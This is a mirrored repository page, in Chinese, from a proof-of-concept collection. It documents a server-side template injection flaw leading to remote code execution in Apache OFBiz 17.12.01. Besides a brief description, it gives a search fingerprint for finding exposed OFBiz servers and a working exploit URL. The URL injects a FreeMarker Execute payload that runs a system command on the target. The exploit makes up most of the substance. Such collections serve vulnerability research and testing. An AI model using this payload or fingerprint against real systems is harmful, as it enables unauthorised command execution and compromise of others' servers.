admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-04 18:27:48 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/开发框架漏洞/Apache OfBiz 远程代码执行 RCE.md
Threekiii 11de4c1d47 update
2024-11-06 14:10:36 +08:00

478 B
Raw Permalink Blame History

Apache OfBiz 远程代码执行 RCE

漏洞描述

Apache OfBiz 17.12.01 容易受到服务器端模板注入（SSTI）的影响，从而导致远程代码执行（RCE）。

参考链接：

网络测绘

app="Apache_OFBiz"

漏洞复现

poc：

https://localhost/ordermgr/control/FindRequest?foo=bar"ajaxEnabled=false/>${"freemarker.template.utility.Execute"?new()("id")}<FOO